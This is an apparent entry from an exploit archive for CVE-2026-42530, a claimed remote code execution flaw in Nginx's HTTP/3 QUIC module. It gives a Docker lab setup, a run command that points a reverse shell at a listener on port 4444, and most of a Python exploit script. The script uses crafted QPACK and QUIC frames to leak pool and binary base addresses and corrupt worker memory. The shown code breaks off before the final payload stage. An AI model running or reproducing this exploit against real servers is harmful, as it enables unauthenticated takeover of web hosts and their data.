PoC Archive PoC Archive
CVE-2026-42530 category: binary CVSS 8.1 (HIGH)
Unverified

Nginx HTTP/3 QUIC Pool Corruption RCE (CVE-2026-42530)

Published: 2026-09-03 • Researcher: Nebula Security (NebuSec / CyberMeowfia)

Target software Nginx (HTTP/3 QUIC module)
Affected versions Nginx 1.31.1 (trixie)
Status PoC
Severity High · CVSS 8.1
CVSS 8.1/10
Severity
High
CVE
CVE-2026-42530
Category
binary
Affected product
Nginx (HTTP/3 QUIC module)
Affected versions
Nginx 1.31.1 (trixie)
Disclosed
2026-09-03
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-09-03
Author / ResearcherNebula Security (NebuSec / CyberMeowfia)
CVE / AdvisoryCVE-2026-42530
Categorybinary
SeverityHigh
CVSS Score8.1
StatusPoC
TagsRCE, Nginx, HTTP/3, QUIC, pool corruption, heap, Python, remote

Affected Target

FieldValue
Software / SystemNginx (HTTP/3 QUIC module)
Versions AffectedNginx 1.31.1 (trixie)
Language / PlatformPython, Linux
Authentication RequiredNo
Network Access RequiredRemote (UDP 443)

Summary

CVE-2026-42530 is a pool corruption vulnerability in Nginx HTTP/3 QUIC handling that allows remote code execution. Nebula Security (QuicBurst) developed a Python exploit using the aioquic and pylsqpack libraries to perform heap scanning, identify pool layouts, and corrupt Nginx worker memory through crafted QUIC/HTTP3 frames. The exploit achieves a reverse shell against Nginx 1.31.1 running in a Docker container.

Environment / Lab Setup

Output
Target:       Nginx 1.31.1-trixie (Docker, linux/amd64)
Listener:     Attacker host on Docker bridge network
Tools:        python3, pylsqpack, aioquic

Quick Start

Shell script
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docker pull --platform=linux/amd64 nginx:1.31.1-trixie
docker run --name nginx-quicburst --platform=linux/amd64 \
  -p 127.0.0.1:443:443/udp \
  -v ./nginx.conf:/etc/nginx/nginx.conf:ro \
  -v ./cert.pem:/etc/nginx/cert.pem:ro \
  -v ./key.pem:/etc/nginx/key.pem:ro \
  -d nginx:1.31.1-trixie

pip install pylsqpack aioquic
python exp.py 127.0.0.1:443 172.17.0.1:4444

References

Notes

Auto-ingested from https://github.com/NebuSec/CyberMeowfia on 2026-09-03.

exp.py
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#!/usr/bin/env python3
import asyncio
from contextlib import asynccontextmanager
from dataclasses import dataclass
import ipaddress
import socket
import ssl
import struct
import sys

import pylsqpack
from aioquic.buffer import Buffer
from aioquic.asyncio.client import connect
from aioquic.asyncio.protocol import QuicConnectionProtocol
from aioquic.h3.connection import H3_ALPN
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.connection import QuicConnection
from aioquic.quic.events import PingAcknowledged, StreamDataReceived
from aioquic.quic.packet import pull_quic_header


IDLE_TIMEOUT = 2.0
PROBE_TIMEOUT = 1.5
POOL_PROBE_TIMEOUT = 1.8
SCAN_START = 0x550000000000
SCAN_STOP = 0x700000000000
SCAN_STEP = 0x400000000
LABEL_WIDTH = 14


class Protocol(QuicConnectionProtocol):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.buf = b""
        self.ping_acknowledged = asyncio.Event()
        self.acknowledged_pings = set()

    def quic_event_received(self, event):
        if isinstance(event, StreamDataReceived):
            self.buf += event.data
        elif isinstance(event, PingAcknowledged):
            self.acknowledged_pings.add(event.uid)
            self.ping_acknowledged.set()

    async def wait_connected(self):
        try:
            await super().wait_connected()
        except asyncio.CancelledError:
            waiter = self._connected_waiter
            self._connected_waiter = None
            if waiter is not None:
                waiter.cancel()
            raise


class PairSocket(asyncio.DatagramProtocol):
    def __init__(self, cid_length):
        self.cid_length = cid_length
        self.protocols = []

    def datagram_received(self, data, addr):
        try:
            destination = pull_quic_header(
                Buffer(data=data), host_cid_length=self.cid_length
            ).destination_cid
        except ValueError:
            return
        for protocol in self.protocols:
            if any(cid.cid == destination for cid in protocol._quic._host_cids):
                protocol.datagram_received(data, addr)
                return


class PairTransport:
    def __init__(self, transport):
        self.transport = transport

    def sendto(self, data, addr=None):
        self.transport.sendto(data, addr)

    def close(self):
        pass


@dataclass
class ProbePlan:
    pool: int
    base: int
    rce_pool: int
    heap_floor: int
    heap_ceiling: int


def quic_config():
    cfg = QuicConfiguration(is_client=True, alpn_protocols=H3_ALPN)
    cfg.verify_mode = ssl.CERT_NONE
    cfg.idle_timeout = IDLE_TIMEOUT
    return cfg


def pref(v, bits, first):
    mask = (1 << bits) - 1
    if v < mask:
        return bytes([first | v])
    out = [first | mask]
    v -= mask
    while v >= 128:
        out.append((v & 127) | 128)
        v >>= 7
    out.append(v)
    return bytes(out)


def vi(v):
    return bytes([v]) if v < 64 else bytes([0x40 | (v >> 8), v & 255])


def hold(proto, out):
    old = proto._transport.sendto

    def send(data, addr=None):
        out.append((old, data, addr))

    proto._transport.sendto = send
    return old


def flush(out, copies=1):
    for old, data, addr in out:
        for _ in range(copies):
            old(data) if addr is None else old(data, addr)


@asynccontextmanager
async def raw_pair(host, port):
    configs = [quic_config(), quic_config()]
    for config in configs:
        config.server_name = host
        config.idle_timeout = 3.0
    socket_protocol = PairSocket(configs[0].connection_id_length)
    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp_socket.bind(("", 0))
    transport, _ = await asyncio.get_running_loop().create_datagram_endpoint(
        lambda: socket_protocol,
        sock=udp_socket,
    )
    protocols = []
    try:
        for config in configs:
            protocol = Protocol(QuicConnection(configuration=config))
            protocol.connection_made(PairTransport(transport))
            socket_protocol.protocols.append(protocol)
            protocols.append(protocol)
            protocol.connect((host, port))
            await protocol.wait_connected()
        yield protocols
    finally:
        for protocol in protocols:
            if protocol._timer is not None:
                protocol._timer.cancel()
                protocol._timer = None
            if protocol._transmit_task is not None:
                protocol._transmit_task.cancel()
                protocol._transmit_task = None
            protocol._closed.set()
        transport.close()
        await asyncio.sleep(0)


def rce_close(protocol):
    timer = getattr(protocol, "_timer", None)
    if timer is not None:
        timer.cancel()
        protocol._timer = None
    task = getattr(protocol, "_transmit_task", None)
    if task is not None:
        task.cancel()
        protocol._transmit_task = None
    protocol.transmit = lambda: None
    protocol._closed.set()
    protocol._transport.close()


@asynccontextmanager
async def rce_connection(host, port):
    config = quic_config()
    config.idle_timeout = 3.0
    manager = connect(
        host,
        port,
        configuration=config,
        create_protocol=Protocol,
        wait_connected=True,
    )
    protocol = await manager.__aenter__()
    try:
        yield protocol
    finally:
        rce_close(protocol)
        await asyncio.sleep(0)
        await manager.__aexit__(None, None, None)


def emit(text):
    print(text, end="", flush=True)


def status(prefix, label, text):
    emit(f"{prefix} {label:<{LABEL_WIDTH}}: {text}\n")


def progress(label, done, total, every=64):
    if done == 1 or done == total or done % every == 0:
        status("[*]", label, f"{done}/{total}")


def show_plan(plan):
    status("[+]", "Request Pool", f"{plan.pool:#018x}")
    status("[+]", "Nginx Base", f"{plan.base:#018x}")
    status("[+]", "RCE Pool", f"{plan.rce_pool:#018x}")
    status("[+]", "Heap Window",
           f"{plan.heap_floor:#018x}-{plan.heap_ceiling:#018x}")


class Exploit:
    def __init__(self, target_ip, target_port, cmd):
        self.host = target_ip
        self.port = target_port
        self.cmd = cmd
        encoder = pylsqpack.Encoder()
        cap = encoder.apply_settings(4096, 16)
        headers = [
            (b":method", b"GET"),
            (b":scheme", b"https"),
            (b":authority", target_ip.encode()),
            (b":path", b"/"),
            (b"x-test", b"A" * 20),
        ]
        encoder.encode(4, headers)
        unblock, block = encoder.encode(0, headers)
        self.breq = b"\x01" + vi(len(block)) + block
        self.unblock = b"\x02" + cap + unblock
        self.generation = 0
        self.anchor_attempt = 0
        self.anchor_warmed = False
        self.barrier_uid = 0x9000

    async def probe(self, addr):
        try:
            return await asyncio.wait_for(self._probe_impl(addr), PROBE_TIMEOUT)
        except (asyncio.TimeoutError, Exception):
            await asyncio.sleep(0.08)
            return False

    async def _probe_impl(self, addr):
        pay = struct.pack("<QQ", addr, addr + 0x1000)
        try:
            async with raw_pair(self.host, self.port) as (a, v):
                qa, qv, held = a._quic, v._quic, []
                oa, ov = hold(a, held), hold(v, held)
                qa.send_stream_data(2, b"\x00\x04\x00")
                qa.send_stream_data(
                    6,
                    b"\x02" + pref(4096, 5, 0x20) + b"\xc0"
                    + pref(1, 7, 0) + b"X" + b"\xc0"
                    + pref(16, 7, 0),
                    True,
                )
                a.transmit()
                qv.send_stream_data(2, b"\x00\x04\x00")
                qv.send_stream_data(0, self.breq)
                v.transmit()
                qa.send_stream_data(
                    10, b"\x02\xc0" + pref(16, 7, 0) + pay, False
                )
                a.transmit()
                a._transport.sendto, v._transport.sendto = oa, ov
                flush(held)
                await asyncio.sleep(0.02)
                qv.send_stream_data(6, self.unblock, False)
                v.transmit()
                await asyncio.sleep(0.12)
                return b"hello world" in v.buf
        except Exception:
            await asyncio.sleep(0.08)
            return False

    async def pool_probe(self, addr):
        try:
            return await asyncio.wait_for(
                self._pool_probe_impl(addr), POOL_PROBE_TIMEOUT
            )
        except (asyncio.TimeoutError, Exception):
            await asyncio.sleep(0.08)
            return False

    async def _pool_probe_impl(self, addr):
        pay = struct.pack("<QQ", addr, addr)
        try:
            async with raw_pair(self.host, self.port) as (a, v):
                qa, qv, held = a._quic, v._quic, []
                oa, ov = hold(a, held), hold(v, held)
                qa.send_stream_data(2, b"\x00\x04\x00")
                qa.send_stream_data(
                    6,
                    b"\x02" + pref(4096, 5, 0x20) + b"\xc0"
                    + pref(1, 7, 0) + b"X" + b"\xc0"
                    + pref(16, 7, 0),
                    True,
                )
                a.transmit()
                qv.send_stream_data(2, b"\x00\x04\x00")
                qv.send_stream_data(0, self.breq)
                v.transmit()
                qa.send_stream_data(
                    10, b"\x02\xc0" + pref(16, 7, 0) + pay, False
                )
                a.transmit()
                a._transport.sendto, v._transport.sendto = oa, ov
                flush(held, 2)
                await asyncio.sleep(0.02)
                qv.send_stream_data(6, self.unblock, False)
                v.transmit()
                await asyncio.sleep(0.18)
                return b"hello world" in v.buf
        except Exception:
            await asyncio.sleep(0.08)
            return False

    async def votes(self, check, addr, need=4, total=5):
        n = 0
        for i in range(total):
            if await check(addr):
                n += 1
                if n >= need:
                    return True
            if n + total - i - 1 < need:
                return False
        return False

    async def reliable(self, check, addr):
        score = 0
        while -12 < score < 12:
            score += 2 if await check(addr) else -1
        return score > 0

    async def leak_pool(self, check_page, lo_ok=0,
                        hi_ok=0xffffffffffff, label="Pool Leak"):
        start, stop, step = SCAN_START, SCAN_STOP, SCAN_STEP
        if lo_ok != 0 or hi_ok != 0xffffffffffff:
            start = max(SCAN_START, (max(0, lo_ok) // step) * step)
            stop = min(SCAN_STOP, ((hi_ok + step - 1) // step) * step)
        scan_worst = ((stop - start) // step) + 1
        status("[*]", label, f"scanning {start:#018x}..{stop:#018x}")
        while True:
            actual = 0
            x = start
            while x <= stop:
                actual += 1
                progress(label, actual, scan_worst)
                if (await self.pool_probe(x)
                        and await self.votes(self.pool_probe, x, 3, 6)
                        and await self.reliable(self.pool_probe, x)):
                    hit = x
                    status("[*]", label, f"candidate {hit:#018x}")
                    while (
                        hit - step >= start
                        and await self.reliable(self.pool_probe, hit - step)
                    ):
                        hit -= step
                    while True:
                        lo, hi = hit - step, hit
                        while hi - lo > 0x1000:
                            actual += 1
                            mid = ((lo + hi) // 2) & ~0xfff
                            if await self.reliable(self.pool_probe, mid):
                                hi = mid
                            else:
                                lo = mid
                        if max(lo_ok, start) <= hi <= hi_ok:
                            page = (not check_page
                                    or await self.reliable(self.probe, hi))
                            if (
                                check_page
                                and not page
                                and await self.reliable(self.pool_probe, hi)
                                and not await self.reliable(self.pool_probe, lo)
                            ):
                                page = (await self.reliable(self.probe, hi)
                                        or await self.reliable(self.probe, hi))
                            if page:
                                status("[+]", label, f"{hi:#018x}")
                                return hi, scan_worst + 22, actual
                        if not await self.reliable(self.pool_probe, hit):
                            break
                x += step
            status("[*]", label, "retry")

    async def find_base(self, pool):
        async def mapped(addr):
            score = 0
            while -15 < score < 17:
                score += 3 if await self.probe(addr) else -1
            return score > 0

        step = 0x80000
        x = (pool & ~0xfff) - 0x400000
        limit = pool - 0x80000000
        worst = ((x - limit) // step) + 1
        actual = 0
        status("[*]", "Nginx Leak", f"scanning {x:#018x}..{limit:#018x}")
        while x > limit:
            actual += 1
            progress("Nginx Leak", actual, worst)
            if await self.probe(x):
                hit = x
                status("[*]", "Nginx Leak", f"candidate {hit:#018x}")
                score = 0
                while -2 < score < 16:
                    score += 3 if await self.probe(hit) else -1

                if (
                    score >= 16
                    and await mapped(hit)
                    and not await mapped(hit + step)
                ):
                    lo, hi = hit, hit + 0xf2000
                    while hi - lo > 0x1000:
                        mid = ((lo + hi) // 2) & ~0xfff
                        if await mapped(mid):
                            lo = mid
                        else:
                            hi = mid
                    top = lo
                    if (
                        await mapped(top)
                        and not await mapped(top - 0xf2000)
                        and await mapped(top - 0xf1000)
                        and await mapped(top - 0x80000)
                        and await mapped(top - 0x1000)
                        and not await mapped(top + 0x1000)
                    ):
                        base = top - 0x26c000
                        status("[+]", "Nginx Base", f"{base:#018x}")
                        return base, worst, actual
                    status("[*]", "Nginx Leak",
                           f"rejected {top - 0x26c000:#018x}")
                x = hit - step
                continue
            x -= step
            await asyncio.sleep(0.02)
        raise RuntimeError("nginx base scan failed")

    async def reset_worker(self):
        await self.probe(0x414141410000)
        await asyncio.sleep(0.3)
        await self.probe(0x414141410000)
        await asyncio.sleep(0.6)

    async def address_probe(self):
        await self.reset_worker()
        pool, pworst, pactual = await self.leak_pool(
            True, label="Pool Leak"
        )
        status("[*]", "Pool Leak", f"probes {pactual}/{pworst}")

        attempt = 0
        while True:
            attempt += 1
            await self.reset_worker()
            try:
                base, bworst, bactual = await self.find_base(pool)
                break
            except RuntimeError:
                status("[!]", "Nginx Leak", f"attempt {attempt} failed")

        status("[*]", "Nginx Leak", f"probes {bactual}/{bworst}")

        await self.reset_worker()
        rce_pool, rworst, ractual = await self.leak_pool(
            False, base + 0x269000, base + 0x80000000,
            "RCE Pool"
        )
        heap_floor = rce_pool & ~0xfff
        heap_ceiling = heap_floor + 0x1000
        status("[*]", "RCE Pool", f"probes {ractual}/{rworst}")
        return ProbePlan(
            pool, base, rce_pool, heap_floor, heap_ceiling,
        )

    def _next_barrier_uid(self):
        self.barrier_uid = 0x9000 + (
            (self.barrier_uid - 0x8fff) & 0xfff
        )
        return self.barrier_uid

    async def _synchronize(self, protocol, uid):
        protocol.ping_acknowledged.clear()
        protocol._quic.send_ping(uid)
        protocol.transmit()
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